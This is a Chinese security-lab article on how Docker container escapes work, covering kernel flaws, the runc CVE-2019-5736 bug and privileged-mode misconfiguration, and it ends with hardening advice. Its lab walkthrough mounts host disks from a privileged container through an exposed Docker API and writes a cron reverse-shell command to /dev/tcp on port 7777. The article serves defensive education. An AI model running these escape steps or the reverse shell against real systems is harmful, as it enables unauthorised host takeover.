美创安全实验室 | Docker逃逸原理

Docker是时下使用范围最广的开源容器技术之一，具有高效易用等优点。由于设计的原因，Docker天生就带有强大的安全性，甚至比虚拟机都要更安全，但你可曾想过“坚不可摧”的Docker也会被人攻破，Docker逃逸所造成的影响之大几乎席卷了全球的Docker容器。本期美创安全实验室将会带大家研究造成Docker逃逸的根本原理以及相应的防御方法。
Docker简介
Docker是一种容器，容器的官方定义是：将软件打包成标准化单元、以用于开发、交付和部署。容器的特点在于格式统一，运行速度快，所需资源小，并且可以层层重叠。
与虚拟机的架构进行一下对比就可以看出，Docker整体的架构更加轻巧，灵活。而且由于Docker是直接利用宿主机的系统内核，所以可以做到几秒钟之内创建大量的容器，他们的启动速度是在数量级上的差距。
虚拟机与Docker架构对比
（左为虚拟机架构、右为Docker架构）

Docker逃逸原理
因为Docker所使用的是隔离技术，就导致了容器内的进程无法看到外面的进程，但外面的进程可以看到里面，所以如果一个容器可以访问到外面的资源，甚至是获得了宿主主机的权限，这就叫做“Docker逃逸”。
目前产生Docker逃逸的原因总共有三种：
一、由内核漏洞引起。
二、由Docker软件设计引起。
三、由特权模式与配置不当引起。
接下来依次对这三种逃逸方法做简单说明。
01由于内核漏洞引起的逃逸
因为Docker是直接共享的宿主主机内核，所以当宿主主机的内核存在安全漏洞时会一并影响Docker的安全，导致可能会造成Docker逃逸。具体流程如下：
①使用内核漏洞进入内核上下文
②获取当前进程的task struct
③回溯task list 获取pid=1的task struct，复制其相关
数据
④切换当前namespace
⑤打开root shell，完成逃逸
02由于Doker软件设计引起的逃逸
比较典型的例子是Docker的标准化容器执行引擎—-runc。Runc曾在2019年2月被爆出来过一个Docker逃逸漏洞CVE-2019-5736。其漏洞原理是，Docker、Containerd或其他基于runc的容易在运行时存在安全漏洞，攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行文件时的文件句柄并修改掉runc的二进制文件，从而获取到宿主机的root执行权限，造成Docker逃逸。
03由于特权模式+目录挂载引起的逃逸
这一种逃逸方法较其他两种来说用的更多。特权模式在6.0版本的时候被引入Docker，其核心作用是允许容器内的root拥有外部物理机的root权限，而此前在容器内的root用户只有外部物理机普通用户的权限。
使用特权模式启动容器后（docker run –privileged），Docker容器被允许可以访问主机上的所有设备、可以获取大量设备文件的访问权限、并可以执行mount命令进行挂载。
当控制使用特权模式的容器时，Docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令。
除了使用特权模式启动Docker会引起Docker逃逸外，使用功能机制也会造成Docker逃逸。Linux内核自版本2.2引入了功能机制（Capabilities），打破了UNIX/LINUX操作系统中超级用户与普通用户的概念，允许普通用户执行超级用户权限方能运行的命令。例如当容器以–cap-add=SYSADMIN启动，Container进程就被允许执行mount、umount等一系列系统管理命令，如果攻击者此时再将外部设备目录挂载在容器中就会发生Docker逃逸。

Docker逃逸实验（特权模式+目录挂载）
目标机：192.168.210.37
目标机上对外开启了Docker服务，运行在2375端口上。直接访问目标机的2375端口即可未授权查看Docker信息，如下：

查看当前docker中存在的所有容器：docker images

使用特权模式启动容器

查看磁盘文件：fdisk -l

从返回结果来看sda1、sda2、sda3在/dev目录下。

新建一个目录/test，然后将/dev/sda1挂载到新建的目录下
开发云主机域名mkdir /test
mount /dev/sda1/test

这时再查看新建的目录/test，就可以访问宿主机上的目录内容了（/root目录下的内容）

同理，新建一个目录/test2，将/dev/sda3挂载到新建的目录下，并查看test2目录下的内容，发现可以访问宿主机上/目录下的内容了

在计划任务里写入一个反弹shell：
echo ‘*****bash -i >& /dev/tcp/x.x.x.x/7777 0>&1’>> /test2/var/spool/cron/root

在Docker上开启netcat监听7777端口，成功接收到宿主主机的Shell，实现Docker逃逸。

Docker逃逸防御
➢ 更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736。
➢ runc版本>1.0-rc6
➢ k8s 集群版本>1.12
➢ Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
➢ Linux内核版本>=4.14——CVE-2017–1000405(大脏牛)，未找到docker逃逸利用过程，但存在逃逸风险。
➢ 不建议以root权限运行Docker服务。
➢不建议以privileged（特权模式）启动Docker。
➢ 不建议将宿主机目录挂载至容器目录。
➢ 不建议将容器以—cap-add=SYSADMIN启动，SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作，存在容器逃逸风险。
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